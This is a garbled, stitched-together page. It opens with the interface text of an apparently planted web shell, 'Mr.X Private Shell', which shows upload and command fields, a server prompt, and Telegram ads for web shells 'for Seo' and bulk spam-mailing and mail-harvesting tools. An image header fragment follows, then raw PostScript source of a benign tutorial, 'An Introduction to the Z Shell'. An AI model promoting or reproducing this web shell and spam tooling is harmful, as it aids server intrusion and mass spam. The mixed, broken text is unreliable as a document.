xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
%!PS-Adobe-3.0
%%Creator: groff version 1.22.2
%%CreationDate: Wed Apr 11 07:23:10 2018
%%DocumentNeededResources: font Times-Bold
%%+ font Times-Italic
%%+ font Times-Roman
%%+ font Courier
%%DocumentSuppliedResources: procset grops 1.22 2
%%Pages: 43
%%PageOrder: Ascend
%%DocumentMedia: Default 595 842 0 () ()
%%Orientation: Portrait
%%EndComments
%%BeginDefaults
%%PageMedia: Default
%%EndDefaults
%%BeginProlog
%%BeginResource: procset grops 1.22 2
%!PS-Adobe-3.0 Resource-ProcSet
/setpacking where{
pop
currentpacking
true setpacking
}if
/grops 120 dict dup begin
/SC 32 def
/A/show load def
/B{0 SC 3 -1 roll widthshow}bind def
/C{0 exch ashow}bind def
/D{0 exch 0 SC 5 2 roll awidthshow}bind def
/E{0 rmoveto show}bind def
/F{0 rmoveto 0 SC 3 -1 roll widthshow}bind def
/G{0 rmoveto 0 exch ashow}bind def
/H{0 rmoveto 0 exch 0 SC 5 2 roll awidthshow}bind def
/I{0 exch rmoveto show}bind def
/J{0 exch rmoveto 0 SC 3 -1 roll widthshow}bind def
/K{0 exch rmoveto 0 exch ashow}bind def
/L{0 exch rmoveto 0 exch 0 SC 5 2 roll awidthshow}bind def
/M{rmoveto show}bind def
/N{rmoveto 0 SC 3 -1 roll widthshow}bind def
/O{rmoveto 0 exch ashow}bind def
/P{rmoveto 0 exch 0 SC 5 2 roll awidthshow}bind def
/Q{moveto show}bind def
/R{moveto 0 SC 3 -1 roll widthshow}bind def
/S{moveto 0 exch ashow}bind def
/T{moveto 0 exch 0 SC 5 2 roll awidthshow}bind def
/SF{
findfont exch
[exch dup 0 exch 0 exch neg 0 0]makefont
dup setfont
[exch/setfont cvx]cvx bind def
}bind def
/MF{
findfont
[5 2 roll
0 3 1 roll
neg 0 0]makefont
dup setfont
[exch/setfont cvx]cvx bind def
}bind def
/level0 0 def
/RES 0 def
/PL 0 def
/LS 0 def
/MANUAL{
statusdict begin/manualfeed true store end
}bind def
/PLG{
gsave newpath clippath pathbbox grestore
exch pop add exch pop
}bind def
/BP{
/level0 save def
1 setlinecap
1 setlinejoin
DEFS/BPhook known{DEFS begin BPhook end}if
72 RES div dup scale
LS{
90 rotate
}{
0 PL translate
}ifelse
1 -1 scale
}bind def
/EP{
level0 restore
showpage
}def
/DA{
newpath arcn stroke
}bind def
/SN{
transform
.25 sub exch .25 sub exch
round .25 add exch round .25 add exch
itransform
}bind def
/DL{
SN
moveto
SN
lineto stroke
}bind def
/DC{
newpath 0 360 arc closepath
}bind def
/TM matrix def
/DE{
TM currentmatrix pop
translate scale newpath 0 0 .5 0 360 arc closepath
TM setmatrix
}bind def
/RC/rcurveto load def
/RL/rlineto load def
/ST/stroke load def
/MT/moveto load def
/CL/closepath load def
/Fr{
setrgbcolor fill
}bind def
/setcmykcolor where{
pop
/Fk{
setcmykcolor fill
}bind def
}if
/Fg{
setgray fill
}bind def
/FL/fill load def
/LW/setlinewidth load def
/Cr/setrgbcolor load def
/setcmykcolor where{
pop
/Ck/setcmykcolor load def
}if
/Cg/setgray load def
/RE{
findfont
dup maxlength 1 index/FontName known not{1 add}if dict begin
{
1 index/FID ne
2 index/UniqueID ne
and
{def}{pop pop}ifelse
}forall
/Encoding exch def
dup/FontName exch def
currentdict end definefont pop
}bind def
/DEFS 0 def
/EBEGIN{
moveto
DEFS begin
}bind def
/EEND/end load def
/CNT 0 def
/level1 0 def
/PBEGIN{
/level1 save def
translate
div 3 1 roll div exch scale
neg exch neg exch translate
0 setgray
0 setlinecap
1 setlinewidth
0 setlinejoin
10 setmiterlimit
[]0 setdash
/setstrokeadjust where{
pop
false setstrokeadjust
}if
/setoverprint where{
pop
false setoverprint
}if
newpath
/CNT countdictstack def
userdict begin
/showpage{}def
/setpagedevice{}def
mark
}bind def
/PEND{
cleartomark
countdictstack CNT sub{end}repeat
level1 restore
}bind def
end def
/setpacking where{
pop
setpacking
}if
%%EndResource
%%EndProlog
%%BeginSetup
%%BeginFeature: *PageSize Default
<< /PageSize [ 595 842 ] /ImagingBBox null >> setpagedevice
%%EndFeature
%%IncludeResource: font Times-Bold
%%IncludeResource: font Times-Italic
%%IncludeResource: font Times-Roman
%%IncludeResource: font Courier
grops begin/DEFS 1 dict def DEFS begin/u{.001 mul}bind def end/RES 72
def/PL 841.89 def/LS false def/ENC0[/asciicircum/asciitilde/Scaron
/Zcaron/scaron/zcaron/Ydieresis/trademark/quotesingle/Euro/.notdef
/.notdef/.notdef/.notdef/.notdef/.notdef/.notdef/.notdef/.notdef/.notdef
/.notdef/.notdef/.notdef/.notdef/.notdef/.notdef/.notdef/.notdef/.notdef
/.notdef/.notdef/.notdef/space/exclam/quotedbl/numbersign/dollar/percent
/ampersand/quoteright/parenleft/parenright/asterisk/plus/comma/hyphen
/period/slash/zero/one/two/three/four/five/six/seven/eight/nine/colon
/semicolon/less/equal/greater/question/at/A/B/C/D/E/F/G/H/I/J/K/L/M/N/O
/P/Q/R/S/T/U/V/W/X/Y/Z/bracketleft/backslash/bracketright/circumflex
/underscore/quoteleft/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/q/r/s/t/u/v/w/x/y
/z/braceleft/bar/braceright/tilde/.notdef/quotesinglbase/guillemotleft
/guillemotright/bullet/florin/fraction/perthousand/dagger/daggerdbl
/endash/emdash/ff/fi/fl/ffi/ffl/dotlessi/dotlessj/grave/hungarumlaut
/dotaccent/breve/caron/ring/ogonek/quotedblleft/quotedblright/oe/lslash
/quotedblbase/OE/Lslash/.notdef/exclamdown/cent/sterling/currency/yen
/brokenbar/section/dieresis/copyright/ordfeminine/guilsinglleft
/logicalnot/minus/registered/macron/degree/plusminus/twosuperior
/threesuperior/acute/mu/paragraph/periodcentered/cedilla/onesuperior
/ordmasculine/guilsinglright/onequarter/onehalf/threequarters
/questiondown/Agrave/Aacute/Acircumflex/Atilde/Adieresis/Aring/AE
/Ccedilla/Egrave/Eacute/Ecircumflex/Edieresis/Igrave/Iacute/Icircumflex
/Idieresis/Eth/Ntilde/Ograve/Oacute/Ocircumflex/Otilde/Odieresis
/multiply/Oslash/Ugrave/Uacute/Ucircumflex/Udieresis/Yacute/Thorn
/germandbls/agrave/aacute/acircumflex/atilde/adieresis/aring/ae/ccedilla
/egrave/eacute/ecircumflex/edieresis/igrave/iacute/icircumflex/idieresis
/eth/ntilde/ograve/oacute/ocircumflex/otilde/odieresis/divide/oslash
/ugrave/uacute/ucircumflex/udieresis/yacute/thorn/ydieresis]def
/Courier@0 ENC0/Courier RE/Times-Roman@0 ENC0/Times-Roman RE
/Times-Italic@0 ENC0/Times-Italic RE/Times-Bold@0 ENC0/Times-Bold RE
%%EndSetup
%%Page: 1 1
%%BeginPageSetup
BP
%%EndPageSetup
/F0 18/Times-Bold@0 SF 3(An Intr)164.4 308 R 3(oduction to the Z Shell)
-.324 F/F1 14/Times-Italic@0 SF -1.12(Pa)252.137 344 S 1.166(ul F)1.12 F
(alstad)-1.05 E(pf@softwar)238.951 360 Q -.21(e.)-.518 G(com).21 E 1.166
(Bas de Bakk)246.472 392 R(er)-.14 E(bas@phys.uva.nl)239.952 408 Q 0 Cg
EP
%%Page: 1 2
%%BeginPageSetup
BP
%%EndPageSetup
0 Cg EP
%%Page: 1 3
%%BeginPageSetup
BP
%%EndPageSetup
/F0 12/Times-Bold@0 SF 1(An Intr)226.1 123 R 1(oduction to the Z Shell)
-.216 F/F1 10/Times-Italic@0 SF -.8(Pa)280.383 159 S .833(ul F).8 F
(alstad)-.75 E(pf@softwar)270.965 171 Q -.15(e.)-.37 G(com).15 E .833
(Bas de Bakk)276.337 189 R(er)-.1 E(bas@phys.uva.nl)271.68 201 Q/F2 10
/Times-Bold@0 SF(Intr)72 240.6 Q(oduction)-.18 E(zsh)72 256.2 Q/F3 10
/Times-Roman@0 SF 1.212(is a shell designed for interacti)3.712 F 1.512
-.15(ve u)-.25 H 1.212(se, although it is also a po).15 F 1.212
(werful scripting language.)-.25 F(Man)7.045 E 3.712(yo)-.15 G 3.712(ft)
-3.712 G 1.211(he useful)-3.712 F 1.678
(features of bash, ksh, and tcsh were incorporated into)72 268.2 R F2
(zsh)4.179 E F3 4.179(;m)C(an)-4.179 E 4.179(yo)-.15 G 1.679
(riginal features were added.)-4.179 F 1.679(This document)7.512 F 1.373
(details some of the unique features of)72 280.2 R F2(zsh)3.873 E F3
7.206(.I)C 3.873(ta)-7.206 G 1.373(ssumes basic kno)-3.873 F 1.372
(wledge of the standard UNIX shells; the intent)-.25 F 2.01(is to sho)72
292.2 R 4.51(war)-.25 G 2.01(eader already f)-4.51 F 2.01
(amiliar with one of the other major shells what mak)-.1 F(es)-.1 E F2
(zsh)4.51 E F3 2.01(more useful or more)4.51 F(po)72 304.2 Q 4.435
(werful. This)-.25 F 1.102(document is not at all comprehensi)3.602 F
-.15(ve)-.25 G 3.602(;r).15 G 1.102
(ead the manual entry for a description of the shell that is)-3.602 F
.833(complete and concise, although some)72 316.2 R .833(what o)-.25 F
-.15(ve)-.15 G .833(rwhelming and de).15 F -.2(vo)-.25 G .833(id of e).2
F(xamples.)-.15 E 2.02(The te)72 331.8 R 2.021
(xt will frequently mention options that you can set to change the beha)
-.15 F 2.021(viour of)-.2 F F2(zsh)4.521 E F3 7.854(.Y)C 2.021
(ou can set these)-8.954 F .833(options with the command)72 343.8 R/F4 9
/Courier@0 SF 5.4(%s)108 360.8 S(etopt)-5.4 E/F5 9/Times-Italic@0 SF
(optionname)5.4 E/F6 9/Times-Roman@0 SF(and unset them ag)72 377.8 Q
(ain with)-.045 E F4 5.4(%u)108 394.8 S(nsetopt)-5.4 E F5(optionname)5.4
E F6(Case is ignored in option names, as are embedded underscores.)72
411.8 Q F2(Filename Generation)72 435.8 Q F3(Otherwise kno)72 451.4 Q
(wn as)-.25 E F1(globbing)2.5 E F3 2.5<2c8c>C
(lename generation is quite e)-2.5 E(xtensi)-.15 E .3 -.15(ve i)-.25 H
(n).15 E F2(zsh)2.5 E F3 5(.O)C 2.5(fc)-5 G
(ourse, it has all the basics:)-2.5 E F4 5.4(%l)108 468.4 S(s)-5.4 E
10.8(Makefile file.pro foo.o)108 479.4 R 21.6(main.o q.c)32.4 F 21.6
(run234 stuff)43.2 F 27(bar.o foo)108 490.4 R 32.4(link morestuff)43.2 F
21.6(run123 run240 sub)10.8 F 21.6(file.h foo.c)108 501.4 R 21.6
(main.h pipe)32.4 F 32.4(run2 run303)37.8 F 5.4(%l)108 512.4 S 5.4(s*)
-5.4 G(.c)-5.4 E 5.4(foo.c q.c)108 523.4 R 5.4(%l)108 534.4 S 5.4(s*)
-5.4 G(.[co])-5.4 E 10.8(bar.o foo.c foo.o main.o)108 545.4 R(q.c)10.8 E
5.4(%l)108 556.4 S 5.4(sf)-5.4 G(oo.?)-5.4 E 5.4(foo.c foo.o)108 567.4 R
5.4(%l)108 578.4 S 5.4(s*)-5.4 G(.[^c])-5.4 E 10.8(bar.o file.h)108
589.4 R 10.8(foo.o main.h)10.8 F(main.o)10.8 E 5.4(%l)108 600.4 S 5.4
(s*)-5.4 G(.[^oh])-5.4 E 5.4(foo.c q.c)108 611.4 R F6 .622(Also, if the)
72 628.4 R F5(EXTENDEDGLOB)2.872 E F6 .622(option is set, some ne)2.872
F 2.872(wf)-.225 G .622(eatures are acti)-2.872 F -.225(va)-.225 G 2.872
(ted. F).225 F .622(or e)-.135 F .622(xample, the)-.135 F F4(^)2.872 E
F6 .622(character ne)2.872 F -.045(ga)-.135 G .622(tes the pattern).045
F(follo)72 639.4 Q(wing it:)-.225 E 0 Cg EP
%%Page: 2 4
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-2-)300.17 48 Q/F1 9/Courier@0 SF 5.4(%s)108 83
S(etopt extendedglob)-5.4 E 5.4(%l)108 94 S 5.4(s-)-5.4 G 5.4(d^)-5.4 G
(*.c)-5.4 E 10.8(Makefile file.pro link)108 105 R 5.4(morestuff run2)
37.8 F(run303)37.8 E 27(bar.o foo)108 116 R 21.6(main.h pipe)43.2 F 21.6
(run234 stuff)37.8 F 21.6(file.h foo.o)108 127 R 21.6
(main.o run123 run240 sub)32.4 F 5.4(%l)108 138 S 5.4(s-)-5.4 G 5.4(d^)
-5.4 G(*.*)-5.4 E 10.8(Makefile link)108 149 R 32.4(pipe run2 run240)
37.8 F(stuff)27 E 37.8(foo morestuff)108 160 R 21.6
(run123 run234 run303 sub)10.8 F 5.4(%l)108 171 S 5.4(s-)-5.4 G 5.4(d^)
-5.4 G(Makefile)-5.4 E 27(bar.o foo)108 182 R 32.4(link morestuff)43.2 F
21.6(run123 run240 sub)10.8 F 21.6(file.h foo.c)108 193 R 21.6
(main.h pipe)32.4 F 32.4(run2 run303)37.8 F 10.8(file.pro foo.o)108 204
R 21.6(main.o q.c)32.4 F 21.6(run234 stuff)43.2 F 5.4(%l)108 215 S 5.4
(s-)-5.4 G 5.4(d*)-5.4 G(.^c)-5.4 E 10.8(.rhosts bar.o)108 226 R 16.2
(file.h file.pro)27 F 21.6(foo.o main.h)10.8 F(main.o)21.6 E/F2 9
/Times-Roman@0 SF(An e)72 243 Q(xpression of the form)-.135 E F1(<)2.25
E/F3 9/Times-Italic@0 SF(x)A F2<ad>A F3(y)A F1(>)A F2
(matches a range of inte)2.25 E(gers:)-.135 E F1 5.4(%l)108 260 S 5.4
(sr)-5.4 G(un<200-300>)-5.4 E 5.4(run234 run240)108 271 R 5.4(%l)108 282
S 5.4(sr)-5.4 G(un<300-400>)-5.4 E(run303)108 293 Q 5.4(%l)108 304 S 5.4
(sr)-5.4 G(un<-200>)-5.4 E 5.4(run123 run2)108 315 R 5.4(%l)108 326 S
5.4(sr)-5.4 G(un<300->)-5.4 E(run303)108 337 Q 5.4(%l)108 348 S 5.4(sr)
-5.4 G(un<->)-5.4 E 5.4(run123 run2)108 359 R 5.4(run234 run240 run303)
21.6 F F2(The)72 376 Q F3(NUMERICGLOBSORT)2.415 E F2 .165
(option will sort \214les with numbers according to the number)2.415 F
4.665(.T)-.495 G .165(his will not w)-4.665 F .165(ork with)-.09 F F1
(ls)2.415 E F2 .166(as it resorts)2.416 F(its ar)72 387 Q(guments:)-.162
E F1 5.4(%s)108 404 S(etopt numericglobsort)-5.4 E 5.4(%e)108 415 S
(cho run<->)-5.4 E(run2 run123 run234 run240 run303)108 426 Q F2
(Grouping is possible:)72 443 Q F1 5.4(%l)108 460 S 5.4(s\()-5.4 G
(foo|bar\).*)-5.4 E 5.4(bar.o foo.c foo.o)108 471 R 5.4(%l)108 482 S 5.4
(s*)-5.4 G(.\(c|o|pro\))-5.4 E 21.6(bar.o file.pro)108 493 R 21.6
(foo.c foo.o main.o)10.8 F(q.c)21.6 E F2(Also, the string)72 510 Q F1
(**/)2.25 E F2(forces a recursi)2.25 E .27 -.135(ve s)-.225 H
(earch of subdirectories:).135 E 0 Cg EP
%%Page: 3 5
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-3-)300.17 48 Q/F1 9/Courier@0 SF 5.4(%l)108 83
S 5.4(s-)-5.4 G(R)-5.4 E 10.8(Makefile file.pro foo.o)108 94 R 21.6
(main.o q.c)32.4 F 21.6(run234 stuff)43.2 F 27(bar.o foo)108 105 R 32.4
(link morestuff)43.2 F 21.6(run123 run240 sub)10.8 F 21.6(file.h foo.c)
108 116 R 21.6(main.h pipe)32.4 F 32.4(run2 run303)37.8 F(morestuff:)108
138 Q(stuff:)108 160 Q 5.4(file xxx)108 171 R(yyy)16.2 E(stuff/xxx:)108
193 Q(foobar)108 204 Q(stuff/yyy:)108 226 Q(frobar)108 237 Q 5.4(%l)108
248 S 5.4(s*)-5.4 G(*/*bar)-5.4 E 5.4(stuff/xxx/foobar stuff/yyy/frobar)
108 259 R 5.4(%l)108 270 S 5.4(s*)-5.4 G(*/f*)-5.4 E 59.4(file.h foo)108
281 R 64.8(foo.o stuff/xxx/foobar)81 F 48.6(file.pro foo.c)108 292 R
37.8(stuff/file stuff/yyy/frobar)70.2 F 5.4(%l)108 303 S 5.4(s*)-5.4 G
(bar*)-5.4 E(bar.o)108 314 Q 5.4(%l)108 325 S 5.4(s*)-5.4 G(*/*bar*)-5.4
E 64.8(bar.o stuff/xxx/foobar)108 336 R(stuff/yyy/frobar)10.8 E 5.4(%l)
108 347 S 5.4(ss)-5.4 G(tuff/**/*bar*)-5.4 E 5.4
(stuff/xxx/foobar stuff/yyy/frobar)108 358 R F0 .155
(It is possible to e)72 379.6 R .155
(xclude certain \214les from the patterns using the ~ character)-.15 F
5.155(.A)-.55 G .155(pattern of the form)-2.5 F/F2 10/Courier@0 SF
(*.c~bar.c)2.655 E F0(lists)2.655 E(all \214les matching)72 391.6 Q F2
(*.c)2.5 E F0 2.5(,e)C(xcept for the \214le)-2.65 E F2(bar.c)2.5 E F0(.)
A F1 5.4(%l)108 408.6 S 5.4(s*)-5.4 G(.c)-5.4 E 16.2(foo.c foob.c bar.c)
108 419.6 R 5.4(%l)108 430.6 S 5.4(s*)-5.4 G(.c~bar.c)-5.4 E 16.2
(foo.c foob.c)108 441.6 R 5.4(%l)108 452.6 S 5.4(s*)-5.4 G(.c~f*)-5.4 E
(bar.c)108 463.6 Q F0 .795(One can add a number of)72 485.2 R/F3 10
/Times-Italic@0 SF(quali\214er)3.295 E(s)-.1 E F0 .795(to the end of an)
3.295 F 3.295(yo)-.15 G 3.296(ft)-3.295 G .796
(hese patterns, to restrict matches to certain \214le types.)-3.296 F(A)
5.796 E(quali\214ed pattern is of the form)72 497.2 Q F3(pattern)108
515.2 Q F2(\()A F0(...)A F2(\))A F0
(with single-character quali\214ers inside the parentheses.)72 533.2 Q 0
Cg EP
%%Page: 4 6
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-4-)300.17 48 Q/F1 9/Courier@0 SF 5.4(%a)108 83
S(lias l='ls -dF')-5.4 E 5.4(%l*)108 94 S 16.2(Makefile foo*)108 105 R
27(main.h q.c)43.2 F(run240)48.6 E 32.4(bar.o foo.c main.o)108 116 R 27
(run123 run303)32.4 F 27(file.h foo.o)108 127 R 5.4(morestuff/ run2)37.8
F(stuff/)43.2 E 16.2(file.pro link@)108 138 R 37.8(pipe run234)37.8 F
(sub)32.4 E 5.4(%l*)108 149 S(\(/\))-5.4 E 5.4(morestuff/ stuff/)108 160
R 5.4(%l*)108 171 S(\(@\))-5.4 E(link@)108 182 Q 5.4(%l*)108 193 S
(\(*\))-5.4 E 37.8(foo* link@)108 204 R 5.4(morestuff/ stuff/)37.8 F 5.4
(%l*)108 215 S(\(x\))-5.4 E 37.8(foo* link@)108 226 R 5.4
(morestuff/ stuff/)37.8 F 5.4(%l*)108 237 S(\(X\))-5.4 E 37.8
(foo* link@)108 248 R 5.4(morestuff/ stuff/)37.8 F 5.4(%l*)108 259 S
(\(R\))-5.4 E 32.4(bar.o foo*)108 270 R 32.4(link@ morestuff/)43.2 F 27
(run123 run240)10.8 F 27(file.h foo.c)108 281 R 27(main.h pipe)37.8 F
37.8(run2 run303)43.2 F 16.2(file.pro foo.o)108 292 R 27(main.o q.c)37.8
F 27(run234 stuff/)48.6 F/F2 9/Times-Roman@0 SF 1.567(Note that)72 309 R
F1(*\(x\))3.817 E F2(and)3.817 E F1(*\(*\))3.817 E F2 1.567
(both match e)3.817 F -.135(xe)-.135 G(cutables.).135 E F1(*\(X\))6.067
E F2 1.566(matches \214les e)3.817 F -.135(xe)-.135 G 1.566
(cutable by others, as opposed to).135 F F1(*\(x\))3.816 E F2 3.816(,w)C
(hich)-3.816 E .416(matches \214les e)72 320 R -.135(xe)-.135 G .417
(cutable by the o).135 F(wner)-.225 E(.)-.495 E F1(*\(R\))4.917 E F2
(and)2.667 E F1(*\(r\))2.667 E F2 .417(match readable \214les;)2.667 F
F1(*\(W\))2.667 E F2(and)2.667 E F1(*\(w\))2.667 E F2 2.667(,w)C .417
(hich checks for writable \214les.)-2.667 F F1(*\(W\))72 331 Q F2
(is especially important, since it checks for w)2.25 E
(orld-writable \214les:)-.09 E F1 5.4(%l*)108 348 S(\(w\))-5.4 E 32.4
(bar.o foo*)108 359 R 32.4(link@ morestuff/)43.2 F 27(run123 run240)10.8
F 27(file.h foo.c)108 370 R 27(main.h pipe)37.8 F 37.8(run2 run303)43.2
F 16.2(file.pro foo.o)108 381 R 27(main.o q.c)37.8 F 27(run234 stuff/)
48.6 F 5.4(%l*)108 392 S(\(W\))-5.4 E 10.8(link@ run240)108 403 R 5.4
(%l-)108 414 S 5.4(ll)-5.4 G(ink run240)-5.4 E 5.4(lrwxrwxrwx 1)108 425
R 32.4(pfalstad 10)5.4 F(May 23 18:12 link -> /usr/bin/)5.4 E 5.4
(-rw-rw-rw- 1)108 436 R 37.8(pfalstad 0)5.4 F(May 23 18:12 run240)5.4 E
F2 .054(If you w)72 453 R .054(ant to ha)-.09 F .324 -.135(ve a)-.18 H
.053(ll the \214les of a certain type as well as all symbolic links poi\
nting to \214les of that type, pre\214x the quali\214er with).135 F(a)72
464 Q F1(-)2.25 E F2(:)A F1 5.4(%l*)108 481 S(\(-/\))-5.4 E 32.4
(link@ morestuff/)108 492 R(stuff/)10.8 E F2 -.99(Yo)72 509 S 2.25(uc)
.99 G(an \214lter out the symbolic links with the)-2.25 E F1(^)2.25 E F2
(character:)2.25 E F1 5.4(%l*)108 526 S(\(W^@\))-5.4 E(run240)108 537 Q
5.4(%l*)108 548 S(\(x\))-5.4 E 37.8(foo* link@)108 559 R 5.4
(morestuff/ stuff/)37.8 F 5.4(%l*)108 570 S(\(x^@/\))-5.4 E(foo*)108 581
Q F2 1.44 -.72(To \214)72 598 T(nd all plain \214les, you can use).72 E
F1(.)2.25 E F2(:)A 0 Cg EP
%%Page: 5 7
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-5-)300.17 48 Q/F1 9/Courier@0 SF 5.4(%l*)108 83
S(\(.\))-5.4 E 5.4(Makefile file.h)108 94 R 27(foo* foo.o)21.6 F 16.2
(main.o run123 run234 run303)27 F 21.6(bar.o file.pro)108 105 R 21.6
(foo.c main.h)10.8 F 32.4(q.c run2)21.6 F 16.2(run240 sub)32.4 F 5.4
(%l*)108 116 S(\(^.\))-5.4 E 32.4(link@ morestuff/)108 127 R 37.8
(pipe stuff/)10.8 F 5.4(%ls)108 138 S(*\(.\))-5.4 E 10.8(stuff/ sub)108
149 R 5.4(%l*)108 160 S(\(p\))-5.4 E(pipe)108 171 Q 5.4(%l-)108 182 S
5.4(l*)-5.4 G(\(p\))-5.4 E 5.4(prw-r--r-- 1)108 193 R 37.8(pfalstad 0)
5.4 F(May 23 18:12 pipe)5.4 E(*\(U\))72 210 Q/F2 9/Times-Roman@0 SF
(matches all \214les o)2.25 E(wned by you.)-.225 E 1.44 -.72(To s)4.5 H
(earch for all \214les not o).72 E(wned by you, use)-.225 E F1(*\(^U\))
2.25 E F2(:)A F1 5.4(%l-)108 227 S 5.4(l*)-5.4 G(\(^U\))-5.4 E 5.4
(-rw------- 1)108 238 R 32.4(subbarao 29)5.4 F(May 23 18:13 sub)5.4 E F2
(This searches for setuid \214les:)72 255 Q F1 5.4(%l-)108 272 S 5.4(l*)
-5.4 G(\(s\))-5.4 E 5.4(-rwsr-xr-x 1)108 283 R 32.4(pfalstad 16)5.4 F
(May 23 18:12 foo*)5.4 E F2(This checks for a certain user')72 300 Q
2.25<738c>-.495 G(les:)-2.25 E F1 5.4(%l-)108 317 S 5.4(l*)-5.4 G
(\(u[subbarao]\))-5.4 E 5.4(-rw------- 1)108 328 R 32.4(subbarao 29)5.4
F(May 23 18:13 sub)5.4 E/F3 10/Times-Bold@0 SF(Startup Files)72 358 Q F0
(There are \214v)72 373.6 Q 2.5(es)-.15 G(tartup \214les that)-2.5 E F3
(zsh)2.5 E F0(will read commands from:)2.5 E F1($ZDOTDIR/.zshenv)108
390.6 Q($ZDOTDIR/.zprofile)108 401.6 Q($ZDOTDIR/.zshrc)108 412.6 Q
($ZDOTDIR/.zlogin)108 423.6 Q($ZDOTDIR/.zlogout)108 434.6 Q F2(If)72
451.6 Q/F4 9/Times-Bold@0 SF(ZDO)2.25 E(TDIR)-.36 E F2
(is not set, then the v)2.25 E(alue of)-.225 E F4(HOME)2.25 E F2
(is used; this is the usual case.)2.25 E/F5 10/Courier@0 SF(.zshenv)72
467.2 Q F0 .439(is sourced on all in)2.939 F -.2(vo)-.4 G .439
(cations of the shell, unless the).2 F F5(-f)2.939 E F0 .439
(option is set.)2.939 F .439(It should contain commands to set)5.439 F
1.327(the command search path, plus other important en)72 479.2 R 1.327
(vironment v)-.4 F(ariables.)-.25 E F5(.zshenv)6.327 E F0 1.327
(should not contain commands)3.827 F
(that produce output or assume the shell is attached to a tty)72 491.2 Q
(.)-.65 E F5(.zshrc)72 506.8 Q F0 .223(is sourced in interacti)2.722 F
.523 -.15(ve s)-.25 H 2.723(hells. It).15 F .223
(should contain commands to set up aliases, functions, options, k)2.723
F .523 -.15(ey b)-.1 H(ind-).15 E(ings, etc.)72 518.8 Q F5(.zlogin)72
534.4 Q F0 1.548(is sourced in login shells.)4.048 F 1.548
(It should contain commands that should be e)6.548 F -.15(xe)-.15 G
1.547(cuted only in login shells.).15 F F5(.zlogout)72 546.4 Q F0 .254
(is sourced when login shells e)2.754 F(xit.)-.15 E F5(.zprofile)5.255 E
F0 .255(is similar to)2.755 F F5(.zlogin)2.755 E F0 2.755(,e)C .255
(xcept that it is sourced before)-2.905 F F5(.zshrc)72 558.4 Q F0(.)A F5
(.zprofile)5.95 E F0 .95(is meant as an alternati)3.45 F 1.25 -.15(ve t)
-.25 H(o).15 E F5(.zlogin)3.45 E F0 .949(for ksh f)3.45 F .949
(ans; the tw)-.1 F 3.449(oa)-.1 G .949(re not intended to be used)-3.449
F(together)72 570.4 Q 3.303(,a)-.4 G .803
(lthough this could certainly be done if desired.)-3.303 F F5(.zlogin)
5.804 E F0 .804(is not the place for alias de\214nitions, options,)3.304
F(en)72 582.4 Q 1.084(vironment v)-.4 F 1.084(ariable settings, etc.; a\
s a general rule, it should not change the shell en)-.25 F 1.084
(vironment at all.)-.4 F(Rather)6.083 E 3.583(,i)-.4 G(t)-3.583 E
(should be used to set the terminal type and run a series of e)72 594.4
Q(xternal commands \()-.15 E F5(fortune)A F0(,)A F5(msgs)2.5 E F0 2.5
(,e)C(tc\).)-2.5 E F3(Shell Functions)72 618.4 Q(zsh)72 634 Q F0
(also allo)2.5 E(ws you to create your o)-.25 E
(wn commands by de\214ning shell functions.)-.25 E -.15(Fo)5 G 2.5(re)
.15 G(xample:)-2.65 E F1 5.4(%y)108 651 S 5.4(p\()-5.4 G 5.4(\){)-5.4 G
37.8(>y)108 662 S(pmatch $1 passwd.byname)-37.8 E 5.4(>})108 673 S 5.4
(%y)108 684 S 5.4(pp)-5.4 G(falstad)-5.4 E(pfalstad:*:3564:35:Paul John\
 Falstad:/u/pfalstad:/usr/princeton/bin/zsh)108 695 Q F2 .582
(This function looks up a user in the NIS passw)72 712 R .583(ord map.)
-.09 F(The)5.083 E F1($1)2.833 E F2 -.135(ex)2.833 G .583
(pands to the \214rst ar).135 F .583(gument to)-.162 F F1(yp)2.833 E F2
5.083(.T)C .583(he function could ha)-5.083 F -.135(ve)-.18 G(been equi)
72 723 Q -.225(va)-.225 G(lently de\214ned in one of the follo).225 E
(wing w)-.225 E(ays:)-.09 E 0 Cg EP
%%Page: 6 8
%%BeginPageSetup
BP
%%EndPageSetup
/F0 10/Times-Roman@0 SF(-6-)300.17 48 Q/F1 9/Courier@0 SF 5.4(%f)108 83
S(unction yp {)-5.4 E 37.8(>y)108 94 S(pmatch $1 passwd.byname)-37.8 E
5.4(>})108 105 S 5.4(%f)108 116 S(unction yp \(\) {)-5.4 E 37.8(>y)108
127 S(pmatch $1 passwd.byname)-37.8 E 5.4(>})108 138 S 5.4(%f)108 149 S
(unction yp \(\) ypmatch $1 passwd.byname)-5.4 E/F2 9/Times-Roman@0 SF
(Note that aliases are e)72 166 Q(xpanded when the function de\214nitio\
n is parsed, not when the function is e)-.135 E -.135(xe)-.135 G 2.25
(cuted. F).135 F(or e)-.135 E(xample:)-.135 E F1 5.4(%a)108 183 S
(lias ypmatch=echo)-5.4 E 5.4(%y)108 194 S 5.4(pp)-5.4 G(falstad)-5.4 E
(pfalstad:*:3564:35:Paul John Falstad:/u/pfalstad:/usr/princeton/bin/zs\
h)108 205 Q F2 .397(Since the alias w)72 222 R .397
(as de\214ned after the function w)-.09 F .396(as parsed, it has no ef)
-.09 F .396(fect on the function')-.225 F 2.646(se)-.495 G -.135(xe)
